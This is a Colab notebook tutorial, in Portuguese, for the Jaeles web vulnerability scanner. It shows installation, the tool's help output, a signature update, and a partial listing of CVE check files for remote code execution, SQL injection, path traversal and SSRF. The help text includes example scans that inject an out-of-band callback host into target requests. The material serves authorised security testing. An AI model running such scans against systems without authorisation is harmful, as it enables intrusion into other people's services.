Jaeles.ipynb

{
  "nbformat": 4,
  "nbformat_minor": 0,
  "metadata": {
    "colab": {
      "provenance": [],
      "authorship_tag": "ABX9TyNYUu+7saypTUQ3ksvIi6rG",
      "include_colab_link": true
    },
    "kernelspec": {
      "name": "python3",
      "display_name": "Python 3"
    },
    "language_info": {
      "name": "python"
    }
  },
  "cells": [
    {
      "cell_type": "markdown",
      "metadata": {
        "id": "view-in-github",
        "colab_type": "text"
      },
      "source": [
        "<a href=\"https://colab.research.google.com/github/brinhosa/awesome-pentest-tools-in-colab/blob/main/Jaeles.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>"
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "# Introdução à Ferramenta de Segurança Jaeles\n",
        "\n",
        "Bem-vindo a este tutorial sobre o Jaeles, uma ferramenta de teste de segurança poderosa e flexível. O Jaeles é amplamente utilizado para testes automatizados de aplicações web, especialmente para identificar vulnerabilidades de segurança. Ele é projetado para ser rápido e personalizável, permitindo que os usuários definam seus próprios testes de segurança.\n",
        "\n",
        "## Visão Geral do Jaeles\n",
        "\n",
        "Jaeles é um projeto de código aberto que facilita o teste automatizado de aplicações web para detectar vulnerabilidades de segurança. Ele opera com base em assinaturas pré-definidas ou personalizadas, que descrevem os testes a serem realizados nas aplicações alvo.\n",
        "\n",
        "### Principais Características:\n",
        "- **Automação**: Automatiza o processo de detecção de diversos tipos de vulnerabilidades de segurança.\n",
        "- **Flexibilidade**: Permite que os usuários escrevam assinaturas personalizadas em formato YAML para definir testes específicos.\n",
        "- **Concorrência**: Suporta varredura concorrente, tornando-a altamente eficiente para testes em larga escala.\n",
        "- **Integração**: Integra-se facilmente com outras ferramentas e fluxos de trabalho nos ecossistemas de segurança e DevOps.\n",
        "\n",
        "## Objetivos de Aprendizado\n",
        "\n",
        "Neste tutorial, abordaremos:\n",
        "1. Configuração do Jaeles para uso no seu ambiente de teste.\n",
        "2. Compreensão da estrutura básica das assinaturas do Jaeles.\n",
        "3. Execução de varreduras e interpretação dos resultados de forma eficaz.\n",
        "\n",
        "Esta introdução visa fornecer uma base sólida para aqueles novos no Jaeles e aprimorar o conjunto de habilidades daqueles que buscam aprofundar seu entendimento sobre testes de segurança automatizados.\n",
        "\n",
        "---\n",
        "\n",
        "Vamos mergulhar no mundo dos testes de segurança automatizados com Jaeles!\n",
        "\n",
        "[Link para o Jaeles](https://jaeles-project.github.io/)\n"
      ],
      "metadata": {
        "id": "l_VyyFoZkNnV"
      }
    },
    {
      "cell_type": "code",
      "execution_count": 69,
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "Ga8AgsuyK3Co",
        "outputId": "f539b5e4-a005-4338-d64d-8a94081ebc32"
      },
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "--2024-05-07 11:16:26--  https://github.com/jaeles-project/jaeles/releases/download/beta-v0.17.1/jaeles-beta-v0.17.1-linux.zip\n",
            "Resolving github.com (github.com)... 140.82.116.4\n",
            "Connecting to github.com (github.com)|140.82.116.4|:443... connected.\n",
            "HTTP request sent, awaiting response... 302 Found\n",
            "Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/221847055/a01351c4-5268-44f8-9cc7-4c4ba683283c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240507%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240507T111626Z&X-Amz-Expires=300&X-Amz-Signature=226ea5c3e2c35f5088b2f967b458e5475cd62433154d216e2de2575b7c4bcf43&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221847055&response-content-disposition=attachment%3B%20filename%3Djaeles-beta-v0.17.1-linux.zip&response-content-type=application%2Foctet-stream [following]\n",
            "--2024-05-07 11:16:26--  https://objects.githubusercontent.com/github-production-release-asset-2e65be/221847055/a01351c4-5268-44f8-9cc7-4c4ba683283c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240507%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240507T111626Z&X-Amz-Expires=300&X-Amz-Signature=226ea5c3e2c35f5088b2f967b458e5475cd62433154d216e2de2575b7c4bcf43&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221847055&response-content-disposition=attachment%3B%20filename%3Djaeles-beta-v0.17.1-linux.zip&response-content-type=application%2Foctet-stream\n",
            "Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...\n",
            "Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.\n",
            "HTTP request sent, awaiting response... 200 OK\n",
            "Length: 18748461 (18M) [application/octet-stream]\n",
            "Saving to: ‘jaeles-beta-v0.17.1-linux.zip.1’\n",
            "\n",
            "jaeles-beta-v0.17.1 100%[===================>]  17.88M  --.-KB/s    in 0.09s   \n",
            "\n",
            "2024-05-07 11:16:27 (201 MB/s) - ‘jaeles-beta-v0.17.1-linux.zip.1’ saved [18748461/18748461]\n",
            "\n"
          ]
        }
      ],
      "source": [
        "!wget https://github.com/jaeles-project/jaeles/releases/download/beta-v0.17.1/jaeles-beta-v0.17.1-linux.zip"
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!unzip jaeles-beta-v0.17.1-linux.zip"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "Kl1rNs9lK6nt",
        "outputId": "b6194b5c-0437-4177-e190-2ba5281ac563"
      },
      "execution_count": 70,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Archive:  jaeles-beta-v0.17.1-linux.zip\n",
            "replace jaeles? [y]es, [n]o, [A]ll, [N]one, [r]ename: a\n",
            "error:  invalid response [a]\n",
            "replace jaeles? [y]es, [n]o, [A]ll, [N]one, [r]ename: N\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!./jaeles -h"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "4Gx3gOgDK-Uy",
        "outputId": "defcd018-a343-4f6b-a345-d2564779bfaa"
      },
      "execution_count": 71,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[32m\u001b[0m\n",
            "\u001b[92m\u001b[0m\n",
            "\u001b[32m                                           ,+izzir,                                   \u001b[0m\n",
            "\u001b[32m                                        '*K@@Q8&Q@@8t'                                \u001b[0m\n",
            "\u001b[32m                                       !Q@N;''\u001b[0m\u001b[97m,~~;\u001b[0m\u001b[32m\\D@@t'                              \u001b[0m\n",
            "\u001b[32m                                      ,Q@q. \u001b[0m\u001b[97m'~~~~~~;\u001b[0m\u001b[32m5@@L                              \u001b[0m\n",
            "\u001b[32m                                      L@@+  \u001b[0m\u001b[97m'~~~~~~~\u001b[0m\u001b[32m^Q@X                              \u001b[0m\n",
            "\u001b[32m                                      ^@@z  \u001b[0m\u001b[97m'~~~~~~~\u001b[0m\u001b[32m|Q@y                              \u001b[0m\n",
            "\u001b[32m                                      'Z@@7  \u001b[0m\u001b[97m'~~~~;\u001b[0m\u001b[32mTQ@N,                              \u001b[0m\n",
            "\u001b[32m                                        ^%@QhJ7fmDQ@Q7'     ~}DQ@@@Qqv,               \u001b[0m\n",
            "\u001b[32m                                          ~jdQ@@Qdjr'     ,U@@qv=|tm#@QY              \u001b[0m\n",
            "\u001b[32m                                             *@@=         D@&;\u001b[0m\u001b[97m  ,~~~\u001b[0m\u001b[32m;f@@^             \u001b[0m\n",
            "\u001b[32m                                             <@@+        .@@L\u001b[0m\u001b[97m  '~~~~~~\u001b[0m\u001b[32mK@P             \u001b[0m\n",
            "\u001b[32m                                          ,<zb@@K7<~'    'Q@f\u001b[0m\u001b[97m  '_~~~~\u001b[0m\u001b[32m!N@j             \u001b[0m\n",
            "\u001b[32m                                       !XQ@QA5jEbWQ@@Ri.'*Q@@D\u001b[0m\u001b[97m+'',;=j\u001b[0m\u001b[32mQ@#.             \u001b[0m\n",
            "\u001b[32m                                     _d@@a!\u001b[0m\u001b[94m  ';^rr=7\u001b[0m\u001b[32mkQ@QQ@RzoQ@@Q#Q@@Nz.              \u001b[0m\n",
            "\u001b[32m                                    ;Q@D_\u001b[0m\u001b[94m  '~^^r^^rr^\u001b[0m\u001b[32m|K@@K   ';*\\vi=_'                \u001b[0m\n",
            "\u001b[32m                                   '8@%'\u001b[0m\u001b[94m   ~^^r^r^^^r^\u001b[0m\u001b[32m=A@@'                           \u001b[0m\n",
            "\u001b[32m          ,<}kKKhI='               =@@*\u001b[0m\u001b[94m  ^qfr^rrrrj8U<\u001b[0m\u001b[32m^iQ@*                           \u001b[0m\n",
            "\u001b[32m        !b@@NXaURQ@@U;         ''~+P@@L\u001b[0m\u001b[94m  z@Qv^^^rrz6y=\u001b[0m\u001b[32mr7@@=                           \u001b[0m\n",
            "\u001b[32m      'y@@a~\u001b[0m\u001b[97m ',~~;\u001b[0m\u001b[32mLD@@7  '^^' \\Q@@@Q@@W'\u001b[0m\u001b[94m 'y@@RXXDdT^^r=\u001b[0m\u001b[32mb@@'                           \u001b[0m\n",
            "\u001b[32m      T@@i\u001b[0m\u001b[97m  ',~~~~~;\u001b[0m\u001b[32mE@@= ,D%~ '<^~''~Q@%~\u001b[0m\u001b[94m  =ENQQNKi^r\u001b[0m\u001b[32mLD@@7                            \u001b[0m\n",
            "\u001b[32m      X@#'\u001b[0m\u001b[97m  '~~~~~~~\u001b[0m\u001b[32m<Q@o             ,6@@X+'\u001b[0m\u001b[94m ,!+^+<J\u001b[0m\u001b[32m6Q@&+                             \u001b[0m\n",
            "\u001b[32m      n@@^\u001b[0m\u001b[97m   ,~~~~~~\u001b[0m\u001b[32mf@@i               '7R@@QgDWQQ@@@Q<                               \u001b[0m\n",
            "\u001b[32m      'b@Qi'\u001b[0m\u001b[97m ',~~~\u001b[0m\u001b[32m^S@@m'                  '^iYjjxi^=Q@%,                              \u001b[0m\n",
            "\u001b[32m       '7Q@QEzLYmDQ@BL'                             :8@#~                             \u001b[0m\n",
            "\u001b[32m         '+yb#QQNKf^'                                ,R@Q; '''                        \u001b[0m\n",
            "\u001b[32m                                                      'b@@#Q@@QDj^'                   \u001b[0m\n",
            "\u001b[32m                                                     ,X@@K\u001b[0m\u001b[97m?!=|7m\u001b[0m\u001b[32mQ@Q}'                 \u001b[0m\n",
            "\u001b[32m                                                    ,N@W;\u001b[0m\u001b[97m '~~~~~;\u001b[0m\u001b[32mIQ@q'                \u001b[0m\n",
            "\u001b[32m                                                    }@Q~\u001b[0m\u001b[97m  ,~~~~~~~\u001b[0m\u001b[32mf@@=                \u001b[0m\n",
            "\u001b[32m                                                    E@Q'\u001b[0m\u001b[97m  ~~~~~~~~\u001b[0m\u001b[32m7@@L                \u001b[0m\n",
            "\u001b[32m                                                    +@@}'\u001b[0m\u001b[97m ,~~~~~~^\u001b[0m\u001b[32m%@Q_                \u001b[0m\n",
            "\u001b[32m                                                     ^Q@Qz,\u001b[0m\u001b[97m,~;^\\UQ\u001b[0m\u001b[32m@D_                 \u001b[0m\n",
            "\u001b[32m                                                      .iD@@QQQ@@QU='                  \u001b[0m\n",
            "\u001b[32m                                                         '^|iL>~'   \u001b[0m\n",
            "\n",
            "\u001b[32m\t\u001b[0m\n",
            "\u001b[36m         \t\t 🚀 Jaeles \u001b[97mbeta v0.17.1\u001b[0m\u001b[0m\u001b[36m by \u001b[35m@j3ssiejjj\u001b[0m 🚀\u001b[0m\n",
            "\n",
            "\u001b[97m               The Swiss Army knife for automated Web Application Testing  \u001b[0m\n",
            "\n",
            "\u001b[92m                                     ¯\\_(ツ)_/¯\u001b[0m\n",
            "\n",
            "\n",
            "\n",
            "Usage:\n",
            " jaeles scan|server|config [options]\n",
            " jaeles scan|server|config|report -h -- Show usage message\n",
            "\n",
            "Subcommands:\n",
            "  jaeles scan   --  Scan list of URLs based on selected signatures\n",
            "  jaeles server --  Start API server\n",
            "  jaeles config --  Configuration CLI \n",
            "  jaeles report --  Generate HTML report based on scanned output \n",
            "\n",
            "Core Flags:\n",
            "  -c, --concurrency int         Set the concurrency level (default 20)\n",
            "  -o, --output string           Output folder name (default \"out\")\n",
            "  -s, --signs strings           Signature selector (Multiple -s flags are accepted)\n",
            "  -x, --exclude strings         Exclude Signature selector (Multiple -x flags are accepted)\n",
            "  -L, --level int               Filter signatures by level (default 1)\n",
            "  -G, --passive                 Turn on passive detections (default: false)\n",
            "  -p, --params strings          Custom params -p='foo=bar' (Multiple -p flags are accepted)\n",
            "  -H, --headers strings         Custom headers (e.g: -H 'Referer: {{.BaseURL}}') (Multiple -H flags are accepted)\n",
            "\n",
            "Mics Flags:\n",
            "      --hh string               Full help message\n",
            "  -v, --verbose                 Verbose output\n",
            "      --debug                   Enable Debug mode\n",
            "      --proxy string            Proxy for sending request\n",
            "      --timeout int             HTTP timeout (default 20s)\n",
            "      --no-db                   Disable Database\n",
            "  -S, --selectorFile string     Signature selector from file\n",
            "  -J, --format-input            Enable special input format (default is false)\n",
            "  -f, --found string            Run host OS command when vulnerable found\n",
            "  -O, --summaryOutput string    Summary output file (default is \"jaeles-summary.txt\")\n",
            "      --passiveOutput string    Passive output folder (default is \"passive-out\")\n",
            "      --passiveSummary string   Passive Summary file\n",
            "      --sp string               Selector for passive detections (default \"*\")\n",
            "      --single string           Forced running in single mode\n",
            "      --sverbose bool           Store verbose info in summary file\n",
            "  -N  --no-output bool          Disable store output\n",
            "      --chunk bool              Enable chunk running against big input\n",
            "  -I, --inline string           Inline Detections\n",
            "  -q, --quiet                   Enable Quiet Output\n",
            "  -Q, --quietFormat string      Format for quiet output (default \"{{.VulnURL}}\")\n",
            "  -R, --report string           HTML report file name\n",
            "      --title string            HTML report title\n",
            "      --html string             Enable generate HTML reports after the scan done \n",
            "      --json bool               Store output as JSON format\n",
            "      --local                   Enable local analyze (Accept input as local path e.g: -u /tmp/req.txt)\n",
            "      --dr                      Shortcut for disable replicate request (avoid sending many timeout requests)\n",
            "      --fi                      Enable filtering mode (to use Diff() detection)\n",
            "      --lc                      Shortcut for '--proxy http://127.0.0.1:8080'\n",
            "      --at                      Enable Always True Detection for observe response\n",
            "      --ba                      Shortcut for take raw input as '{{.BaseURL}}'\n",
            "\n",
            "\n",
            "Examples Commands:\n",
            "  jaeles scan -s <signature> -u <url>\n",
            "  jaeles scan -c 50 -s <signature> -U <list_urls> -L <level-of-signatures>\n",
            "  jaeles scan -c 50 -s <signature> -U <list_urls>\n",
            "  jaeles scan --fi -c 50 -s <sensitive-signature> -U <list_urls>\n",
            "  jaeles scan --local -s <local-analyze> -u /path/to/response-file.txt\n",
            "  jaeles scan -c 50 -s <signature> -U <list_urls> -p 'dest=xxx.burpcollaborator.net'\n",
            "  jaeles scan -c 50 -s <signature> -U <list_urls> -f 'noti_slack \"{{.vulnInfo}}\"'\n",
            "  jaeles scan -v -c 50 -s <signature> -U list_target.txt -o /tmp/output\n",
            "  jaeles scan -s <signature> -s <another-selector> -u http://example.com\n",
            "  echo '{\"BaseURL\":\"https://example.com/sub/\"}' | jaeles scan -s sign.yaml -J \n",
            "  jaeles scan -G -s <signature> -s <another-selector> -x <exclude-selector> -u http://example.com\n",
            "  cat list_target.txt | jaeles scan -c 100 -s <signature>\n",
            "\n",
            "Others Commands:\n",
            "  jaeles server -s '/tmp/custom-signature/sensitive/.*' -L 2 --fi\n",
            "  jaeles server --host 0.0.0.0 --port 5000 -s '/tmp/custom-signature/sensitive/.*' -L 2\n",
            "  jaeles config reload --signDir /tmp/standard-signatures/\n",
            "  jaeles config add -B /tmp/custom-active-signatures/\n",
            "  jaeles config update --repo https://github.com/jaeles-project/jaeles-signatures\n",
            "  jaeles report -o /tmp/scanned/out\n",
            "  jaeles report -o /tmp/scanned/out --title 'Passive Report'\n",
            "  jaeles report -o /tmp/scanned/out --title 'Verbose Report' --sverbose\n",
            "\n",
            "Official Documentation can be found here: \u001b[32mhttps://jaeles-project.github.io/\u001b[0m\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!./jaeles config update --repo https://github.com/jaeles-project/jaeles-signatures\n"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "n1N6X_wSLNoG",
        "outputId": "d3f437c3-6806-44a2-e39b-a4aa981e5631"
      },
      "execution_count": 72,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0mJaeles beta v0.17.1 by @j3ssiejjj\n",
            "\u001b[92m[+]\u001b[0m Cloning Plugins from: https://github.com/jaeles-project/jaeles-plugins\n",
            "\u001b[92m[+]\u001b[0m Cloning Signature from: https://github.com/jaeles-project/jaeles-signatures\n",
            "Enumerating objects: 394, done.\n",
            "Counting objects: 100% (394/394), done.\n",
            "Compressing objects: 100% (249/249), done.\n",
            "Total 394 (delta 168), reused 272 (delta 141), pack-reused 0\n",
            "\u001b[92m[+]\u001b[0m Reload signature in: /root/.jaeles/base-signatures\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!ls /root/.jaeles/base-signatures\n",
        "!ls /root/.jaeles/base-signatures/cves\n",
        "!cat /root/.jaeles/base-signatures/cves/apache-tomcat-rce-cve-2020-9484.yaml\n",
        "!cat /root/.jaeles/base-signatures/cves/wordpress-file-upload-cve-2020-25213.yaml\n",
        "!cat /root/.jaeles/base-signatures/cves/jenkins-gitlab-xss-cve-2020-2096.yaml\n"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "gALh6yiNlcew",
        "outputId": "007bf80e-5f47-4575-aad7-2eb69f3e73df"
      },
      "execution_count": 73,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "common\tcves  dns  fuzz  mics  probe  README.md  routines  sensitive\n",
            "apache-apisix-unauth-api-cve-2021-45232.yaml\n",
            "apache-druid-rce-cve-2021-25646.yaml\n",
            "apache-flink-lfi-cve-2020-17519.yaml\n",
            "apache-httpd-xss-cve-2019-10092.yaml\n",
            "apache-kylin-config-disclosure-cve-2020-13937.yaml\n",
            "apache-mod-proxy-ssrf-cve-2021-40438.yaml\n",
            "apache-ofbiz-desr-cve-2020-9496.yaml\n",
            "apache-ofbiz-xss-cve-2020-9496.yaml\n",
            "apache-ofbiz-xxe-cve-2018-8033.yaml\n",
            "apache-path-traversal-cve-2021-41773.yaml\n",
            "apache-solr-rce-cve-2017-12629.yaml\n",
            "apache-solr-rce-cve-2019-17558.yaml\n",
            "apache-solr-xxe-cve-2017-12629.yaml\n",
            "apache-status-rce-cve-2019-0230.yaml.yaml\n",
            "apache-struts-rce-cve-2013-2251.yaml\n",
            "apache-struts-rce-cve-2017-5638.yaml\n",
            "apache-tomcat-jkstatus-exposed-cve-2018-11759.yaml\n",
            "apache-tomcat-open-redirect-cve-2018-11784.yaml\n",
            "apache-tomcat-put-cve-2017-12615.yaml\n",
            "apache-tomcat-rce-cve-2020-9484.yaml\n",
            "apache-unomi-rce-cve-2020-13942.yaml\n",
            "apache-zeppelin-unauth.yaml\n",
            "artica-web-proxy-sqli-cve-2020-17506.yaml\n",
            "artifactory-improper-authorization-cve-2019-9733.yaml\n",
            "atlassian-confluence-path-traversal-cve-2019-3396.yaml\n",
            "atlassian-confluence-xss-cve-2018-5230.yaml\n",
            "atlassian-rce-cve-2019-11580.yaml\n",
            "cisco-asa-path-traversal-cve-2018-0296.yaml\n",
            "cisco-asa-path-traversal-cve-2020-3187.yaml\n",
            "cisco-asa-path-traversal-cve-2020-3452.yaml\n",
            "cisco-asa-post-xss-cve-2020-3580.yaml\n",
            "cisco-dos-cve-2020-16139.yaml\n",
            "cisco-rv-320-326-config-leak-cve-2019-1653.yaml\n",
            "cisco-vmanage-lfi-cve-2020–26073.yaml\n",
            "citrix-adc-lfi-cve-2020-8193.yaml\n",
            "citrix-adc-path-traversal-cve-2019-19781.yaml\n",
            "citrix-code-injection-cve-2020-8194.yaml\n",
            "citrix-path-traversal-cve-2020-7473.yaml\n",
            "citrix-reflected-xss-cve-2020-8191.yaml\n",
            "citrix-sharefile-path-traversal-cve-2020-8982.yaml\n",
            "citrix-xenmobile-lfi-cve-2020-8209.yaml\n",
            "cockpit-cms-rce-cve-2020-35846.yaml\n",
            "comodo-utmc-rce-cve-2018-17431.yaml\n",
            "dell-openmanage-auth-bypass-cve-2020-5377.yaml\n",
            "deltek-maconomy-path-traversal-cve-2019-12314.yaml\n",
            "dotnetnuke-auth-bypass-cve-2015-2794.yaml\n",
            "dotnetnuke-cookie-desr-cve-2018-18326.yaml\n",
            "dotnetnuke-dnnarticle-lfi-cve-2018-9126.yaml\n",
            "dotnetnuke-imagehandler-ssrf-cve-2017-0929.yaml\n",
            "elasctic-memory-leak-cve-2021-22145.yaml\n",
            "emerge-rce-cve-2019-7256.yaml\n",
            "episerver-open-redirect-cve-2020-24550.yaml\n",
            "exacqvision-web-service-rce-cve-2020-9047.yaml\n",
            "exchange-ssrf-probe-cve-2021-26855.yaml\n",
            "f5-bigip-rce-cve-2020-5902.yaml\n",
            "fortilogger-lfi-cve-2021-3378.yaml\n",
            "fortinet-fortigate-vpn-path-traversal-xss-cve-2018-13379.yaml\n",
            "fortiweb-xss-cve-2021-22122.yaml\n",
            "fuelcms-rce-cve-2018-16763.yaml\n",
            "glpi-open-redirect-cve-2020-11034.yaml\n",
            "grafana-api-improper-authorization-cve-2019-15043.yaml\n",
            "grafana-dom-xss-cve-2021-41174.yaml\n",
            "grafana-dos-cve-2020-13379.yaml\n",
            "grafana-unauth-xss-cve-2020-11110.yaml\n",
            "graphql-playround-xss-cve-2020-4038.yaml\n",
            "harbor-missing-authorization-cve-2019-16097.yaml\n",
            "ibm-maximo-xxe-cve-2020-4463.yaml\n",
            "icewarp-lfi-cve-2019-12593.yaml\n",
            "icewarp-webmail-xss-cve-2020-8512.yaml\n",
            "icewrap-xss-cve-2020-27982.yaml\n",
            "icewrap-xss-cve-2020-8512.yaml\n",
            "imind-server-info-leak-cve-2020-24765.yaml\n",
            "infinitewp-improper-authentication-cve-2020-8772.yaml\n",
            "jboss-seam-code-execution-cve-2010-1871.yaml\n",
            "jellyfin-lfi-cve-2021-21402.yaml\n",
            "jenkins-gitlab-xss-cve-2020-2096.yaml\n",
            "jenkins-xss-cve-2019-10475.yaml\n",
            "jenkins-xss-cve-2020-2140.yaml\n",
            "jenkins-xss-cve-2020-2199.yaml\n",
            "jira-improper-authorization-cve-2019-8446.yaml\n",
            "jira-info-leak-cve-2019-8449.yaml\n",
            "jira-info-leak-cve-2020-14179.yaml\n",
            "jira-limited-lfi-cve-2020-29453.yaml\n",
            "jira-limited-lfi-cve-2021-26086.yaml\n",
            "jira-path-traversal-cve-2019-8442.yaml\n",
            "jira-ssrf-cve-2017-9506.yaml\n",
            "jira-ssrf-cve-2019-8451.yaml\n",
            "jira-ssti-cve-2019-11581.yaml\n",
            "jira-user-enum-cve-2020-36289.yaml\n",
            "jira-user-enumeration-cve-2020-14181.yaml\n",
            "jira-xss-cve-2018-20824.yaml\n",
            "jira-xss-cve-2020-9344.yaml\n",
            "jolokia-xss-cve-2018-1000129.yaml\n",
            "kibana-timelion-code-execution-cve-2019-7609.yaml\n",
            "kong-api-improper-authorization-cve-2020-11710.yaml\n",
            "kong-cve-2020-11710.yaml\n",
            "kubelet-pprof-exposed-cve-2019-11248.yaml\n",
            "kubernetes-improper-authentication-cve-2018-18264.yaml\n",
            "linuxki-rce-cve-2020-7209.yaml\n",
            "lotus-domino-info-leak-cve-2005-2428.yaml\n",
            "magento-magmi-improper-authentication-cve-2020-5777.yaml\n",
            "magento-magmi-xss-cve-2017-7391.yaml\n",
            "mara-cms-reflective-xss-cve-2020-24223.yaml\n",
            "micro-focus-hardcode-cred-cve-2020-11854.yaml\n",
            "microstrategy-information-disclosure-cve-2020-11450.yaml\n",
            "mida-eframework-rce-cve-2020-15920.yaml\n",
            "minio-ssrf-cve-2021-21287.yaml\n",
            "mobileiron-rce-cve-2020-15505.yaml\n",
            "ms-sharepoint-rce-cve-2020-1147.yaml\n",
            "ms-sharepoint-rce-cve-2020-16952.yaml\n",
            "netsweeper-code-injection-cve-2020-13167.yaml\n",
            "nextjs-path-traversal-cve-2020-5284.yaml\n",
            "nexus-repository-manager-rce-cve-2019-7238.yaml\n",
            "nexus-repository-manager-rce-cve-2020-10199.yaml\n",
            "nexus-repository-manager-rce-cve-2020-10204.yaml\n",
            "nginx-remote-integer-overflow-cve-2017-7529.yaml\n",
            "nodejs-path-traversal-cve-2017-14849.yaml\n",
            "nodejs-path-traversal-cve-2018-3714.yaml\n",
            "nostromo-rce-cve-2019-16278.yaml\n",
            "nuxeo-ssti-cve-2018-16341.yaml\n",
            "odoo-lfi-cve-2018-15640.yaml\n",
            "olimpoks-xss-cve-2020-16270.yaml\n",
            "openfire-ssrf-cve-2019-18394.yaml\n",
            "openproject-sqli-cve-2019-11600.yaml\n",
            "openschool-xss-cve-2019-14696.yaml\n",
            "oracle-bi-path-traversal-cve-2019-2588.yaml\n",
            "oracle-iplanet-improper-authorization-cve-2020-9315.yaml\n",
            "oracle-sgd-xss-cve-2018-19439.yaml\n",
            "oracle-webcenter-xss-cve-2017-10075.yaml\n",
            "oracle-webcenter-xss-cve-2018-2791.yaml\n",
            "oracle-weblogic-console-auth-bypass-cve-2020-14750.yaml\n",
            "oracle-weblogic-console-rce-cve-2020-14882.yaml\n",
            "oracle-weblogic-console-rce-probe-cve-2020-14882.yaml\n",
            "oracle-weblogic-rce-cve-2019-2725.yaml\n",
            "oracle-weblogic-rce-cve-2020-14882.yaml\n",
            "oracle-weblogic-rce-cve-2020-2551.yaml\n",
            "ox-app-suite-xss-cve-2020-15004.yaml\n",
            "PacsOne-Server-xss-cve-2020-29164.yaml\n",
            "pallets-werkzeug-path-traversal-cve-2019-14322.yaml\n",
            "php7-rce-cve-2019-11043.yaml\n",
            "phpmychat-xss-cve-2019-19908.yaml\n",
            "php-rce-cve-2019-11043.yaml\n",
            "phpunit-code-injection-cve-2017-9841.yaml\n",
            "prometheous-open-redirect-cve-2021-29622.yaml\n",
            "pulse-connect-path-traversal-cve-2019-11510.yaml\n",
            "qdpm-authenticated-rce-cve-2020-7246.yaml\n",
            "qnap-ps-rce-cve-2019-7192.yaml\n",
            "qnap-qts-rce-cve-2017-6360.yaml\n",
            "qnap-qts-rce-cve-2017-6361.yaml\n",
            "rails-info-leak-cve-2019-5418.yaml\n",
            "rails-rce-cve-2020-8163.yaml\n",
            "rails-sprockets-info-leak-cve-2018-3760.yaml\n",
            "rconfig-rce-cve-2019-16662.yaml\n",
            "rconfig-sqli-cve-2020-10220.yaml\n",
            "responsive-filemanager-lfi-cve-2018-14728.yaml\n",
            "revive-adserver-open-redirect-cve-2021-22873.yaml\n",
            "revive-adserver-xss-cve-2020-8115.yaml\n",
            "rsa-xss-cve-2018-1247.yaml\n",
            "rumpus-ftp-xss-cve-2019-19368.yaml\n",
            "saltstack-rce-cve-2020-16846.yaml\n",
            "sap-netweaver-improper-authentication-cve-2020-6287.yaml\n",
            "savsoft-quiz-stored-xss-cve-2020-24609.yaml\n",
            "seomatic-ssti-cve-2020-9757.yaml\n",
            "silve-peak-auth-bypass-cve-2020-12145.yaml\n",
            "solarwinds-lfi-cve-2020-10148.yaml\n",
            "solarwinds-xss-cve-2018-19386.yaml\n",
            "solr-rce-cve-2019-17558.yaml\n",
            "sophos-xg-sqli-cve-2020-12271.yaml\n",
            "splunk-info-leak-cve-2018-11409.yaml\n",
            "spring-cloud-path-traversal-cve-2019-3799.yaml\n",
            "spring-cloud-path-traversal-cve-2020-5405.yaml\n",
            "spring-cloud-path-traversal-cve-2020-5410.yaml\n",
            "spring-cloud-ssrf-cve-2020-5412.yaml\n",
            "spring-data-commons-rce-cve-2018-1273.yaml\n",
            "spring-log-viewer-lfi-cve-2021-21234.yaml\n",
            "spring-mvc-path-traversal-cve-2018-1271.yaml\n",
            "spring-mvc-rfd-cve-2020-5398.yaml\n",
            "sql-srs-rce-cve-2020-0618.yaml\n",
            "subrion-cms-sqli-cve-2017-11444.yaml\n",
            "sugarcrm-xss-cve-2019-14974.yaml\n",
            "tableau-dom-xss-cve-2019-19719.yaml\n",
            "terramaster-rce-cve-2020-28188.yaml\n",
            "thinkadmin-path-traversal-cve-2020-25540.yaml\n",
            "thinkphp-rce-cve-2018-20062.yaml\n",
            "thinkphp-rce-cve-2019-9082.yaml\n",
            "timesheet-xss-cve-2019-1010287.yaml\n",
            "totaljs-path-traversal-cve-2019-8903.yaml\n",
            "traefik-open-redirect-cve-2020-15129.yaml\n",
            "trixbox-path-traversal-cve-2017-14537.yaml\n",
            "typo3-xss-cve-2020-8091.yaml\n",
            "uwsgi-path-traversal-cve-2018-7490.yaml\n",
            "vbulletin-rce-cve-2019-16759.yaml\n",
            "vbulletin-sqli-cve-2020-12720.yaml\n",
            "vcenter-lfi-cve-2020-3952.yaml\n",
            "vcenter-rce-cve-2021-21972-probe.yaml\n",
            "vmware-view-planner-rce-cve-2021-21978-probe.yaml\n",
            "vrealize-ssrf-cve-2021-21975.yaml\n",
            "wavemaker-studio-lfi-cve-2019-8982.yaml\n",
            "webmin-rce-cve-2019-15107.yaml\n",
            "webport-reflected-xss-cve-2019-12461.yaml\n",
            "wordpress-backup-leak-cve-2020-24312.yaml\n",
            "wordpress-db-reset-cve-2020-7048.yaml\n",
